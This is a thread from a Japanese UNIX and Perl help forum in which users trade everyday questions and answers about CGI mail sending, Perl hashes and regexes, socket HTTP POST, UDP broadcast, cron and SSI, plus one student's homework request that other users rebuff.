>2207 68user >もし Makefile に uninstall とか deinstall とかいうターゲットがあるなら、 > # make uninstall これでうまくいきました。ありがとうございました。 |
|
メールを送るCGIについて。 フォームに入力されたメールアドレスに対して、Sendmailを使って CGI(Perl)からメールを送る時のことです。 ユーザやホスト名などが間違ったメールアドレスを入力しても、外部の サーバ宛てなら、正常にCGIが終了し、エラーメールが戻ってきます。 ここまでは良いのですが、CGIやSendmailがあるサーバと同じサーバ 宛てにメールを送る場合、アドレスが正しければもちろん正常にCGI は終了し、メールは届きますが、UserUnknownになるようなメールアド レスを指定して送ると、正常にCGIは終了せず、サーバエラーになっ てしまいます。 このようなサーバエラーを回避する方法はあるのでしょうか? どなたか教えて下さい。よろしくお願いします。 |
|
初めましてpearlともうします。 以下のことで大変困っており、この掲示板にたどり着きました。 どうぞアドバイスをよろしくお願いします。 NTサーバーのあるディレクトリ(aaa)以下の 複数のサブディレクトリ(x1,x2,x3...)にある全てのファイルを 階層構造を保ったまま、Solarisのあるディレクトリにそっくり 移動(転送)したいのです。操作できるのは、Solaris側のみで、 シェルスクリプトによる自動実行を目指しております。 当初は、ftpのオプションで簡単に出来ると思っておりましたが・・。 また、不定期にサブディレクトリおよびファイルの追加があり 出来得るならば、初回以降は差分ファイルの転送だけ行いたい のですが、実現可能な方法をどなたかご教示願えませんか? |
|
>>2209 ナナシサソ > おいらはこう書くべきと思うけどな そうですね、僕の書いたコードではうまく動きませんでした。 >>2211 ぷよ丸 要はエラーを無視できればよいのですか? 何もエラー処理を 考えずに書けば無視できるのではないかと思うのですが、 具体的にどのように sendmail を実行していますか? >>2212 pearl おそらくは rsync を使うのがベストではないかと思います (使った ことはありませんが)。それがダメなら wget かなぁ。あるいは Solaris に sharity-light を入れて SMB しゃべれるようにして、 NT 側は共有フォルダ (って言うのかな) にしておくとか (これも 使ったことはありません)。 |
|
「エラー処理を無視できれば・・・」で、ひらめいて、エラーログ を見ながらいろいろとやってると解決できました。 つまり、sendmailでメールを送るときに、同一サーバ宛てのメー ルアドレスが間違っていると、標準出力にUserUnknownのエラーが 書き出され、HTML出力前にそうなるから、エラー(BadHeader のエラーかな?)になっていたんですね。 それが分かったので、HTMLを先に出力してから標準出力を閉じ、 sendmailでメール送るという順序にすることで解決しました。 これだと、sendmailの実行時にエラーが出てもCGIからは無視し た感じになりますものね。 めでたしめでたしで解決したので報告します。 コメントありがとうございました。 これからもよろしくお願いします。 |
|
>>2207 68user > 要は、 > … cut … > ということでしょうか? そういう事だと思います。 以前書いた時に記述した近藤さんのサイトにも > @a[0]のような書き方はPerlのコードとして正しいものだからです。 と書かれていますし。 > perl に配列とリストという区別はあるんでしたっけ。 ん〜, スカラーで評価した時に, 配列は要素数を返し リストは最終要素を返す。 とかそういう話ではなくてでしょうか? でも, scalar (@a); とか書いたら, しっかり最終要素が吐き出されたので なんか, 自分でも @a と (@a) の違いはよくわかりません。 少なくとも > えっと、@a[0] と (@a)[0] は違うんですよね? はい。そうです。 とは言えなくなってしまいました。 # 読み返すとゴミのような発言ですが, ご容赦下さい。m(_ _)m |
|
訂正です。 >>2215 /tk > 最終要素が吐き出されたので 要素数が吐き出されたので |
|
はじめましてです。 『HTTPクライアントを作ってみよう』の辺を参考にHTTPクライアントを 作っているのですが、うまくいきません。 まず、”作ってみよう”の前にtelnetを使ってのところでつまずきました。 % telnet test.hoge.com 80 Trying 123.123.123.10... Connected to test.hoge.com. Escape character is '^]'. GET /test/test.html HTTP/1.0(リターン) とやると、『NOT FOUND』になってしまいます。 ※ブラウザでhttp://test.hoge.com/test/test.htmlは表示される。 ※ちなみに、http://123.123.123.10/test/test.htmlは『NOT FOUND』 おそらく、Apacheでヴァーチャルホストで設定しているのだと 思いますが、このような場合どのようにすればよいのでしょうか? 以上 宜しくお願いいたします。 |
|
>>2217 QDAK GET / HTTP/1.0(改行) Host: test.hoge.com(改行) (改行) |
|
>>2207 68user 「常駐システム」という言葉が悪かったですね、訂正します。 >Servlet コンテナが常駐して あえて言えば mod_perlに近いのでしょうか? まあ、そのうちに勉強して理解できるように頑張ります。 #なかなか時間が取れませんが… >>2217 QDAK ナナシサソ(舌を噛みそう(^^;)さんも書いていますが、 http://X68000.startshop.co.jp/~68user/net/http-4.html の「さらなる改善点・バーチャルホストに対応」をどうぞ。 |
|
>2213 アドバイス有り難うございました。検討した結果使うことは出来ませんでしたが大変勉強になりました |
|
はじめまして。 「UNIXの部屋」でコマンド集を ”かなり”の量コピーさせていただきました。現場用サブnoteに保存して活用いたします。 また何か困ったことがあればここに来ると思いますがそのときはよろしくお願いします。 ありがとうございました。 |
|
crontab -e user でcronを登録したのですが起動するときにどうも環境設定が user で ログインした状態と違うみたいです。 .cshrc を取り込まずに cron が 動いてるらしくパスやら環境変数やらまるで違うのです。 そこで以下のようにむりやり設定するようにしたのですが 35 18 * * * setenv LANG ja;setenv ・・・ 結果は駄目でした。 cronが起動される際の環境設定(環境変数やパス)はどこでどうやって 設定するのか分かりますか? |
|
下記No.2222 は解決したので無視してください。 申し訳ありません。 |
|
1./usr/local/reg/env/.cshrc.sun中で設定され ている a-e, l, m で始まる alias を実際の file に基づき説明 せよ(Mule の複数バッファの機能やカット,ペーストの機能を利 用すると良い). 2.ヒストリ機能で直前のコマンドを少し変更する方法を 調べろ.(cp foo bar と入力する代りに cp ffo bar と入力して しまった場合等に便利) 3.*等のグロッビング用の文字を普通に入力するための方法を 調べろ(ファイル名が * のものを作成せよ.ただし,Mule は使 用しない.set noglob もしない). 4.(t)csh において,~ は特別な意味を持つ文字である.この意 味を調べろ(複数あるかもしれない). (参考)Emacs には,shell という関数や manual-entry という関数が存在する. 1〜4 に対する回答を,Subject が Report 5 なる mail で, 10/25(木)までに ip-rep@j-lab.ee.aoyama.ac.jp に送ること. |
|
No.2224は学校の課題なんですが、メールは送らないでください。このアドレスは先生のなので、意味がないのです。僕は生徒で、答えがわかったら掲示板に書いてください。お願いします。 |
|
「掲示板に書いてください。」って・・・ 日本語の勉強が先だよな・・ 先生に苦情を送っちゃっていいですか? |
|
どうもすいませんでした。昨日からずっとインターネットで調べていたのですが、解らなかったので甘い考えでした。でも、自力でやって、二番だけわかったんですよ。やっぱりだめですよね楽しようとしたら。お返事まってます。 |
|
でも、愚痴を言っていいですか?先生って授業でやってないことを、レポートにすゆんですよ!!パソコン初めてやってるひとにっとっては、とっても大変なんですよ。学校には聞ける友達もいないし・・・どうしたら・・って考えたら、エキスパートに聞くのが一番かなって!でもいつも徹夜とかでやっても、間違ってると零点にするんですよ!努力を認めてくれないんですよ。ナナシサソさんは、UNIXできる方なんですか? |
|
ちなみに、二番のこたえは、 「Ctrl-P(以下C-p)を押すとhistoryの前に入力したコマンドが現れる直前に入力 したコマンドをcp foo bar と入力する代りに cp ffo bar と入力して しまった場 合には、C-pを押してcp ffo barのffoをoffと書き換えればよい。」 であってますかね。よろしければ、採点のほうよろしくお願いします。 |
|
>>2229 n > 学校には聞ける友達もいないし・・・ UNIX を勉強するより、 - 詳しい友達を見付ける。 - それほど親しくない友達でも、課題提出前くらいは親しげに話しかけられる ような社交性を身につける。 - 課題だからといって、問題をそのまま掲示板に書き込んでも反感を買うだけ、 ということを書き込む前に推測できるようになる。 - 仮に課題だとしても、そうは見えないようにうまくカムフラージュ できるような文章力を身につける。努力しているという姿勢を アピールする。 といったことを学ぶべきじゃないですかね。いや、ほんとに。 というわけで、 http://cocoa.2ch.net/unix/index.html あたりで再チャレンジしてみては。 |
|
どうもご迷惑をかけました。ひとつお願いがあります。これからは、ホントに解らない事だけを聞くので、これからもこの掲示板に書き込みたいのです。よろしくお願いします。68USERさん本当にアドバイスありがとうございます。これからは、気おつけます。これからもよろしくお願いしますと、言いたいのですがいいですか?ダメでしたら素直に書き込みはやめます。ちなみに、今回いのレポートは二番だけで送りました。くどいようですが、すいませんでした。そして、ありがとうございます。 |
|
「ネットワークプログラミングの基礎知識」で勉強させていただきました。とてもわかりやすくて入門にはピッタシカンカンでした。 難しかったのは、ソケットからの入力のバッファリングをOFFにする部分。以下のような説明をされてましたね。 > 26: select(SOCKET); $|=1; select(STDOUT); >ソケットに対してバッファリングしないようにします。 >これもおまじないだと思って下さい。 なかなかこれを理解できずにいたのですが、「プログラミング Perl 2nd」P146によると >autoflush HANDLE EXPR という関数があるらしいですね。"use FileHandle;"宣言が必要ですが・・。 autoflush SOCKET 1 ↑これなら、"おまじない"じゃなくて意味が通じ易くなるかもしれませんね |
|
おまじないというと、現時点で目先の理解の妨げになるから今はわからなくていいみたいな意味で書籍などでも使われてると思うので意味を通じさせるつもりは無いと思うんですよね。 説明が面倒(できない)でおまじないと言ってるわけじゃないですから。 でも、おまじないと言われて「ここでおまじないするのか」と素直に理解する人もあんまりいないですよね。 こういう時が、自分で調べ初めて自分で答えを見つける習慣を身に付けるチャンスになってるとおもうので良い表現だと思いますが。 |
|
>>2233 りょうすけ >説明が面倒(できない)でおまじないと言ってるわけじゃないですから。 ええ。そうですよね。"おまじない"という表現に異論はありません。枝葉の部分まで細かく説明するとかえってわからなくなっちゃいますもんね。 まぁ、プログラムの可読性という面でいうとautoflushも明快で良いかな?と思っただけです。(でも動作の仕組みを理解するにはselectでファイルハンドルを操作したほうが勉強になるのかも・・) |
|
こんにちは。 http://x68000.startshop.co.jp/~68user/net/rfc.html から リンクして頂いているThe WAYというサイトの管理人です。 このたび、RFC2616の日本語訳のURLが http://www.studyinghttp.net/rfc_ja/2616/ に変更いたしました。 是非リンクの変更をよろしくお願いします。 |
|
UNIX プログラミング FAQのサイトが http://www.adl.rd.nacsis.ac.jp/~moro/unix-programmer/faq-j_toc.html に移転しているようです。 |
|
また質問ですいません。 ActiveState 以外の Windows 用 Perl で、 自由に配布できるものってなにがおすすめでしょうか? 友人が自費出版本に CD-ROM を付けて売りたいのですが、 ActivePerl のライセンスがやたら面倒くさく、 (なんか 20 ページの英語の書類を書いてどうこう、、という、 手続きぐらいしろよって話なんですけど) なんとかならないか、という話です。 勝利条件としては ・Perl 5.005 移行で ・Windows で動き ・Jcode.pm が動く ということらしいです。 DJGPP 版、というのもあるようですが、 DOS 用ということで 16bit ですよね。 制限きついのかな、、? Cygwin はぁ、、? と聞いてみましたが、 Cygwin はその説明(bash の説明とか)だけで本1冊書かないといけない、 そうです。(そうかぁ、、?) でも cygwin.dll だけあれば Perl は動くのかな? (そういうインストーラー作れるかな?) (そんな部分的な部分を再版しても Cygnus 的に大丈夫なのかな?) もしご存知の方がいらっしゃればご教示ください。 LSI-C とか Borland C++ のフリー版とかで Perl をコンパイルしてみようかな、、。 |
|
あーなんかボケボケ書いたかも、、(DJGPP あたり、、) また落ち着いて謝りにきます、、;;; |
|
こんにちは Perlについて質問させてください。 %aa=(a=>1,b=>2,c=>3); %bb=(a=>4,b=>5,c=>6); %cc=(%aa,%bb); これでは%cc は a=4,b=5,c=6 のように上書きされてしまいます。 %cc が a=5,b=7,c=9 になるようにするにはどうしたらいいのでしょうか よろしくお願いします。 |
|
#質問で迷惑掛けてるので答で貢献;;; mo さん、はじめまして。 %aa=(a=>1,b=>2,c=>3); ていうことは、 $aa{a} = 1; $aa{b} = 2; $aa{c} = 3; と同じです。 a = 1; b = 2; c = 3; ではないです。 %aa はハッシュというものを作っています。 お手もとの参考書などで「ハッシュ」という言葉を調べてください。 で、%bb=(a=>4,b=>5,c=>6); ていうことは、 $bb{a} = 4; $bb{b} = 5; $bb{c} = 6; と同じです。 %cc=(%aa, %bb); ということは、上の結果、 %cc=(a=>1,b=>2,c=>3,a=>4,b=>5,c=>6); と一緒なので、 $cc{a} = 1; $cc{b} = 2; $cc{c} = 3; $cc{a} = 4; $cc{b} = 5; $cc{c} = 6; と一緒なので、結局 $cc{a}、$cc{b}、$cc{c} は2回代入されるので、 後のほうが有効になって、 $cc{a} = 4; $cc{b} = 5; $cc{c} = 6; となっているわけですね。 で、この場合、$cc{a}、$cc{b}、$cc{c} には、 それぞれ $aa{a}、$aa{b}、$aa{c} と $bb{a}、$bb{b}、$bb{c} の 合計が入って欲しいわけだから、 %cc = (a => $aa{a}+$bb{a}, b => $aa{b}+$bb{b}, c => $aa{c}+$bb{c}); とするか、 foreach (a..c) { # $_ が a から c までくりかえし実行 $cc{$_} = $aa{$_} + $bb{$_}; } とするか、%aa、%bb にどんなキーが入っていてもいいことにするには foreach (keys %aa) { # $_ に %aa のキーを次々に入れながら繰り返し実行★ $cc{$_} = $aa{$_} + $bb{$_}; } とするか、 %cc = map {$_ => $aa{$_} + $bb{$_} } keys(%aa); とするか。 ★がついたのが一番おすすめか? foreach、keys、a..c、map については適当な本を調べてください。(ひでえ、、) とりあえず foreach (a..c) { print "$_\n" } とか foreach (keys %aa) { print "$_\n" } とか、 @x = (1..5); @y = map{ $_ * 2 } @x; foreach (@x) { print "$_\n"; } とか動かしてみると面白いと思います。 #もっとあっと驚く回答があったら教えてください |
|
すいません 下で foreach (a..c) { と書いているのは foreach ('a'..'c') { と書かないと怒られます。(警告だけで、動作はするようです) ようは、a、b、c は変数の名前でなく文字列で、 %aa、%bb、%cc というハッシュのキーですね。 %aa というハッシュの、キーが 'a' の値にアクセスするには $aa{'a'} と書きます。ただしこの場合 a はハッシュのキーであると はっきりしているので $aa{a} と省略形で書けます。 同じハッシュでキー x の値に 550 を、キー y の値に 660 を入れるには キーと値を交互に指定するリストを使って %aa = ('x', 550, 'y', 660); と書きますが、キーと値の関係をはっきりさせるために カッコの変わりに => という記号を使えば %aa = ('x' => 550, 'y' => 660); と書けます。で、この場合は => の左側はハッシュのキーなので 省略して %aa = (x => 550, y => 660); とも書けるわけです。 でも、この '' 省略方式だと、 空白を含むキーが使えません。 %kg = ('yamada tarou' => 80, 'satou tamao' => 50); だと $kg{'yamada tarou'} に 80 が、$kg{'satou tamao'} に 50 が 入りますが、 %kg = (yamada tarou => 80, satou tamao => 50); だとエラーが出て動きません。 $kg{yamada tarou} も怒られて動きません。 下のプログラムで a, b, c というのは、 ハッシュのキーで「文字列」であることを覚えておいてください。 |
|
ふくしさん、 こんにちわ map の使い方はまだ理解できませんが ★のコードは理解できました。 ありがとうございました。 |
|
はじめまして。 2日前から調べているのですが、解決できずにここにたどり着きました。 CGIからCGIへデータを渡す際に print "Location: test.cgi?data=1\n\n"; ではなくPOSTでデータを渡したいのですが Socketを使うというのを発見し、いろいろ試したのですが まるで駄目です。(Socket自体、今まで使用したことも無いので(^^;) 具体的には送信元のCGIをindex.cgi、受信するCGIをtest.cgiとしますと index.cgiに下記のような記述をしてみたのですが test.cgiには何を書いてよいのかすら分かりません。 ご教授頂けないでしょうか よろしくお願いします。 ================================ #!/usr/local/bin/perl use Socket; $server='www.*****.com'; $port = 80; $port = getservbyname($port,'tcp') unless $port =~ /^\d+/; $iaddr = inet_aton($server) or die "$serverは存在しないホストです。\n"; $sock_addr = pack_sockaddr_in($port,$iaddr); socket(SOCKET,PF_INET,SOCK_STREAM,0) or die "ソケットを生成できません。\n"; connect(SOCKET,$sock_addr) or die "$serverのポート$portに接続できません。\n"; select(SOCKET); $|=1; select(STDOUT); $file='test.cgi'; $query='data=1'; $len=length($query); print SOCKET "POST $file HTTP/1.0\r\n"; print SOCKET "Content-Length: $len" . "\r\n\r\n"; print SOCKET "$query"; ================================ |
|
こんな感じでは? if ($ENV{'REQUEST_METHOD'} eq "POST"){ read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); } @pairs = split(/&/, $buffer); foreach $pair(@pairs){ ($name, $value) = split(/=/, $pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $FORM{$name} = $value; } $data = $FORM{'data'}; って、よくある掲示板のパターンですけど。(はずしてたらごめんなさい) というより、index.cgi は普通にフォームを使うだけでことは足りないのでしょうか? (Socket を使わずに) |
|
補足・その他です(^^; main.cgi→index.cgi→test.cgi となっていて main.cgiでフォームを使いindex.cgiにpostでデータを送信しています。 この受け取ったデータをtest.cgiにそのまま渡したいのですが、 その方法で悩んでいます。 test.cgiはメンバー入り口で受け取った会員ナンバーによって それぞれのページデータを読み込み表示するスクリプトになっていますので 直接 http://***.com/test.cgi?ID などとされて入室されるのは避けたいのです さらに考えた結果、index.cgiとtest.cgiをまとめてしまえば良い事に気付きました(^^; ですが、今後の為にもSocketを使えるようになりたいので もうちょっと努力してみます。 iwtaさんありがとうございます。 受け側では標準入力で良いのですね。 <SOCKET>をいろいろいじってみたりしてました。。。 ということは受けるほうでは use Socket; は不要なのでしょうか Socketの文献をいろいろ読んだのですが、POSTについての情報がどこも少なく (英文は読んでませんが) いろいろとお尋ねしてお手数をおかけします。 |
|
>>2232 名無しさん ご指摘ありがとうございます。どうやってわかりやすく説明するかは 非常に悩むところですね。autoflush は「存在自体あまり知られてない」 という痛い欠点があり、難しいところです。次回更新時に何かしら わかりやすい解説を書きたいと思っています。 >>2235 H-Hash > このたび、RFC2616の日本語訳のURLが > http://www.studyinghttp.net/rfc_ja/2616/ に変更いたしました。 ご連絡ありがとうございます。修正いたしました。 >>2236 Ka23 > UNIX プログラミング FAQのサイトが > http://www.adl.rd.nacsis.ac.jp/~moro/unix-programmer/faq-j_toc.html > に移転しているようです。 こちらもありがとうございます。後ほど修正しておきます。 >>2243 sio test.cgi は同じサーバにあるのですか? で、ブラウザから直接呼び出すこと はないのですか? ならば CGI じゃなくてただのスクリプトですので、 main.cgi からは open(IN, "/foo/bar/test.cgi ID |"); と呼び出せばいいでしょう。ソケットを使う必要はありません。 もし test.cgi が同じサーバにあって、これまでは CGI として動いていたけ ど、これからはブラウザから直接参照させたくない、ということならば、 $ENV{REQUEST_METHOD}='GET'; $ENV{QUERY_STRING}='data=1'; open(IN, "/foo/bar/test.cgi |"); と、WWW サーバの代わりに適切な環境変数をセットしてからスクリプトを実行 してやればよいでしょう。 test.cgi が別サーバにあるならば、直接スクリプトを実行することはできな いので、そのときはソケットを使いましょう。 > print SOCKET "POST $file HTTP/1.0\r\n"; > print SOCKET "Content-Length: $len" . "\r\n\r\n"; > print SOCKET "$query"; 送ったはいいけど、これでは結果を受け取っていませんし、ブラウザに何も表 示していません。 while (<SOCKET>){ # ヘッダを捨てる m/^\r\n$/ and last; } print "Content-type: text/html\n\n"; while (<SOCKET>){ # ボディのみ表示 print $_; } とかいうのをこの後に付けて下さい。 > POSTについての情報がどこも少なく あまり書くことがないからでしょう。気を付けるのはContent-length を付け ること、くらいじゃないでしょうか。 あと、CGI 経由で HTTP クライアントを開発するのはやめましょう。まずはコ マンドラインから動くような HTTP クライアントを作り、完成したら CGI 経 由でも動くように改造しましょう。でないと、問題の切り分けが非常に面倒に なります。 |
|
68userさんありがとうございます。 やりたい事が全てご指摘通りです(^^; open関数のパイプの使い方すら知りませんでした。 今やっと説明されているページを見つけ http://www.kt.rim.or.jp/~kbk/perl5.005/perlipc.html 勉強中です。 Socketについてもようやく理解できました。 データを受け取った側で、ブラウザ処理をしようとするから 訳が分からなくなっていたようです。 今日はperlに浸かり勉強する日にします p(..) |
|
X Window Systemを立ち上げるときに、 (**) stands for supplied (--) stands for probed/default values (**) ... (**) ... というメッセ-ジが出て立ち上げることができません。 これはいったいどういうことなのでしょうか。 |
|
正確には (**) stands for supplied, (--) stands for probed/default values (**) ... (**) ... でした。 |
|
>>2247 sio > データを受け取った側で、ブラウザ処理をしようとするから > 訳が分からなくなっていたようです。 まず、全体の構成を見直すべきでしょうね。 - main.cgi に統合する。 - test.cgi はユーザ名を引数で受け取り、ログイン可能なら 戻り値 0 を、ログイン不可なら戻り値 1 を返す。 などと現在の仕様を比べ、一番良さそうなものを採用しましょう。 >>2249 初心者 > (**) stands for supplied, (--) stands for probed/default values それは起動時に (成功・失敗にかかわらず) 必ず表示されるメッセージです。 また、OS などの環境が何も書いていないので、答えられる人は いないでしょう。 # 僕は XFree86 やらビデオカードやらには詳しくないので、 # 書いてもらっても答えられないかもしれませんが。 |
|
こんにちは。いつもお世話になってます。 Perlについて質問があります。 各ファイルに ”ー1”と ”ー2”が含まれた行があって、それを区切りに2つのファイルに分けたいのですが、なかなかうまくいきません。 EXAMPLE: *File0001の内容ーー 0001ー1 C100 Open C101 NG 0001ー2 C102 Open C103 Open *File2の内容ーー 0002ー1 C200 Open C201 NG C202 Open 0002ー2 C203 Open C204 NG この0001と0002の2つのファイルを0001ー1と0001ー2、0002ー1と0002ー2の4つのファイルに分けたいのです。 下のスクリプトは全然間違ってるのですが、/-1/ と /-2/ があった行数を記憶して、後から 行の番号を比較してどうにか区切ろうと思ったのですが、やっぱり最初は$barcode22=0だし、全然駄目です。 普通、どのようにするのか教えて頂けませんか? よろしくお願いします。 sub read_file_to_array { my($file)=$filename; open (FILE, "<$dir\\$database\\Defect\\$file") or die "Can't open $file\n"; $line=0; while (<FILE>){ if ($_ =~ /-1/) {$barcode11=$.}; if ($_ =~ /-2/) {$barcode22=$.}; if ($line > $barcode22) {print "$_ ";}#試しにSTDOU#に出力してみるだけ } $line++; } |
|
動くかわからんけどとりあえずできた sub read_file_to_array { #←? my $file = shift; open (FILE, "<$dir\\$database\\Defect\\$file") or die "Can't open $file\n"; open (OUT1, ">$dir\\$database\\Defect\\${file}_1") or die; open (OUT2, ">$dir\\$database\\Defect\\${file}_2") or die; my ($flag1, $flag2); while (<FILE>) { if ( /-1/ ) { $flag1 = 1; } if ( /-2/ ) { $flag2 = 1; $flag1 = 0; } if ($flag2) { print OUT2; next; } if ($flag1) { print OUT1; next; } } } |
|
うぎょぎょ。。if ($flag2) {〜の部分の順番が逆になっちゃってるし。ダサ・・ closeしてないし・・終了時に閉じられるから大丈夫かアハハ |
|
>>2251 ミング 必ずデータの先頭が .*-1 か .*-2 であるなら while (<FILE>) { if ( /-[12]/ ){ chomp; open (OUT, ">$dir\\$database\\Defect\\$_") or die; next; } print OUT; } かなぁと思うんですが、違うかな? 業務用プログラムかだとちゃんとエラーチェックしないとまずい でしょうが、データの内容がある程度保証されているなら、こんな テキトーな感じでよろしいかと思います。 |
|
ナナシサソさん、68userさん 出来ました!! ご指導どうもありがとうございました。 |
|
二日連続の質問になってしまいますが、よろしくお願いします。 No.2251のInput file名は"Ab00010", "Cd00020", のように文字と数字からなっているのですが、Outputは別のDirに"Ab00010" "Ab00011" "Cd00020" "Cd00021"というように、/-2/の部分は”元のファイル名+1”というファイル名にしたいのですが、、、、 800ページあるらくだの本も一応買ってきたのですが全然分からないので、ウェブサイトで調べてみたのですが、唯一これかな?と思ったのが: $string="abcd771gfds"; $string=~/(\W+)\s+(\d+)/; とすると、$1=abcd, $2=7771, $string=abcd771gfds になる、とあったんですが、 試してみると$1=" ", $2=" ", $string="4294967295"になってしまい、訳が分からなくなってきたのですが、これは全然違うアプローチなんでしょうか? どうしたら ”Ab00011”が作れるんでしょうか? |
|
$flag == 2 ? $string ++ : ; でいいと思う・・ゲロゲロ |
|
UNIXの歴史について、知ってる範囲で教えてください。 できれば、メールの方がありがたいです。 |
|
>>2257 ナナシサソ でもアルファベットと数字からなってるので、数字だと見てくれないみたいなんですけど、、、 |
|
>>2259 ミング Perlは妙なことが出来たり・・ 多分うまくいくと思うんだけどな・・ |
|
ミングさんはじめまして。 まず abcd771gfds の件です。 #!/usr/bin/perl $string = "abcd771gfds"; $string =~ /(\W+)\s+(\d+)/; print "1:<$1> 2:<$2> string:<$string>\n"; を動かすと 1:<> 2:<> string:<abcd771gfds> と出ました。 \W+ は、英数字(word)以外1文字以上なので、なくてあたりまえ。 \s+ は、空白文字(space)1文字以上なので、なくてあたりまえ。 \d+ は、数字(digit)1文字以上だが、前に \W も \s もないのでダメ。 もし、$1 に abcd、$2 に 771(7771 は間違い?)を入れようとするなら、 $string =~ /^([a-zA-Z])(\d+)/; とかでしょうか。 ^ は文字列の先頭を示します。 これをやらないとどこからサーチしはじめるかわからん。 [a-zA-Z] は英字。\d は数字。 (わー、目からウロコ。英字のカンタンな文字クラスってないんですね) #!/usr/local/bin/perl $string = "abcd771gfds"; $string =~ /^([a-zA-Z]+)(\d+)/; print "1:<$1> 2:<$2> string:<$string>\n"; を動かすと 1:<abcd> 2:<771> string:<abcd771gfds> となりました。 |
|
ミングさん、つぎにファイル名生成の件です。 もっとカッコいいプログラムはいくらでもあるかと思うんですが、 ここではわかりやすく確実に動くのを取りました。 #!/usr/bin/perl $fname = "Ab00010"; $fname =~ /([a-zA-Z]+)(\d+)/; $fname_a = $1; # 英字部分 $fname_n = $2; # 数字部分 $fname_n++; # 数字部分に1加算 $fname_n = sprintf "%05d", $fname_n; # 先頭にゼロを詰めて5文字に $fname = $fname_a.$fname_n; print "fname: $fname\n"; $fname_n++; # 数字部分に1加算 $fname_n = sprintf "%05d", $fname_n; # 先頭にゼロを詰めて5文字に $fname = $fname_a.$fname_n; print "fname: $fname\n"; $fname_n++; # 数字部分に1加算 $fname_n = sprintf "%05d", $fname_n; # 先頭にゼロを詰めて5文字に $fname = $fname_a.$fname_n; print "fname: $fname\n"; 実行してみます。 fname: Ab00011 fname: Ab00012 fname: Ab00013 ポイントは sprintf でしょうか。 これは文字列をいろんな形で整形しますが、汎用性が高すぎるので、 sprintf "%0n", m; n はケタ数、m は数字 で、m を n ケタ、ゼロ詰めで表示するとだけ今はご説明します。 ただですね、これだと1ファイルが10個以上のサブファイルに分けると Ab0002n に突入してしまって、 もし Ab00020 という元ファイルがあると名前が衝突しますが、 それはいいですか。 |
|
>>2258 オハツ > UNIXの歴史について、知ってる範囲で教えてください。 「UNIXの1/4世紀」 http://www.ascii.co.jp/books/detail/4-7561/4-7561-3659-1.html を読みましょう。 |
|
ふくしさん、ナナシサソさん、 ご教授どうもありがとうがざいました。 やっと出来ました。 とても分かり易く助かりました。 今後もいろいろと宜しくお願いいたします! |
|
はじめまして。教えていただきたいことがあります。 こちらを参考に、perlのネットワークプログラムを作りたいと思っています。OSはPlamo Linux、perlは5.005です。 やりたいのはローカルネットワーク上に、ブロードキャストでメッセージを送って、ポートを開いている全部のコンピュータがそのメッセージを受信するというものです。 試験として #!/usr/local/bin/perl use IO::Socket; $socket = IO::Socket::INET->new( PeerAddr => '192.168.0.255', PeerPort => 2425, Proto => 'udp', ); if ( ! $socket ){ die "接続できませんでした。 $!\n"; } print $socket "test"; $socket->flush(); $socket->close(); と、いうのを動かしてみました。ブロードキャストである192.168.0.255ですから、2425でポートを開いている他のPC(VBのwinsockを使いました)にtestが表示されるかと思ったのですが、 > 接続できませんでした。 不正なファイルデスクリプタです というエラーが返って来てしまいます。 このエラー、192.268.0.3の様にIPを指定すると、出現しません。 いろいろとサーチエンジンなどもあたったのですが、どうしてもこの原因がつかめず、困っています。 perlを使って、udpとブロードキャストアドレスでネットワーク通信されている方がいらしたら、ブロードキャストアドレスをどうやって指定しているか、教えていただけませんでしょうか? よろしくお願いいたします。 |
|
>>2265 武田一浩 broadcast するときは、socket option の設定 $socket->setsockopt(SOL_SOCKET, SO_BROADCAST, 1) || die "$!"; が必要です。 IO::Socket じゃなくて普通の Socket モジュールを使うなら setsockopt($socket, SOL_SOCKET, SO_BROADCAST, 1) || die "$!"; ですね (これは IO::Socket で生成したソケットに対しても有効です)。 ただ、こちらで試した限りでは、 > 接続できませんでした。 不正なファイルデスクリプタです というエラーは出ませんでした。if ( ! $socket ) でエラー になっているということは、何か別の原因があるような気がします。 ちなみに printf $socket "1:%d:name:hostname:%d:ext\0group", time(), 0x1; で参加通知です。 |
|
No. 2266 # 68user さん、リプライありがとうございます。 次の様に修正してみました。 #!/usr/local/bin/perl use IO::Socket; $socket = IO::Socket::INET->new( PeerAddr => '192.168.0.255', PeerPort => 2425, Proto => 'udp', ); $socket->setsockopt(SOL_SOCKET, SO_BROADCAST, 1) || die "$!"; if ( ! $socket ){ die "接続できませんでした。 $!\n"; } printf $socket "test"; $socket->close(); 結果は、 Can't call method "setsockopt" on an undefined value at ./udptest.pl line 11. でやはり駄目でした。 192.168.0.255のアドレスを、特定のPCのIPに設定すると、そのPCにはtestの表示が出ますから、スクリプトそのものにはエラーがないのだと思いますが、なぜか私の環境ではブロードキャストアドレスが使用できない(?)のではないかと思います。 とりあえず、Perlやスクリプトには異常がなさそうなので、Plamo Linux のMLにでも質問をあげてみることにします。 ありがとうございました。 |
|
・・ <% strPathName = "HTTP://××/××/××/○○○.xls %> <a href=<% =strPathName%> ><% = strData(cnt)(0)%></a> ・・ </html> 上記のようにリンクしたいパス名を設定しました。 やりたいことは、 既存のダイアログ『ファイルのダウンロード画面 次の場所からファイルをダウンロードするように選択しました』 を表示させてからExcelを表示したいのですがどうしたらいいですか? 現象として、 すぐにExcelが表示されてしまいます。 |
|
はじめまして、どうしても分からない事があるので質問させて下さい。 HTMLの中にSSIでCGIのファイルを読み込ませようとしたのですが <!--#include file="test.cgi" --> だとOKなのですが <!--#include file="test.cgi?id=kouji" --> のように引数を付けると [an error occurred while processing this directive] とエラーになってしまいます。 「?」の部分からエラーが表示されるのですが、これを回避する方法を教えて下さい。 webも調べてみたのですが、結局分かりませんでした。 http://tohoho.wakusei.ne.jp/wwwssi.htm こちらの下の方に書いてあるexecの例で >○ <!--#exec cgi="xx.cgi"--> >× <!--#exec cgi="xx.cgi arg1 arg2"--> >× <!--#exec cgi="xx.cgi?arg1+arg2"--> >× <!--#exec cmd="xxx.pl"--> >○ <!--#exec cmd="/bin/xxx arg1 arg2"--> >○ <!--#exec cmd="./xxx.pl arg1 arg2"--> これの○で書いてあることみたいに引数を渡そうとしても駄目でした・・・ よろしくおねがいします。 |
|
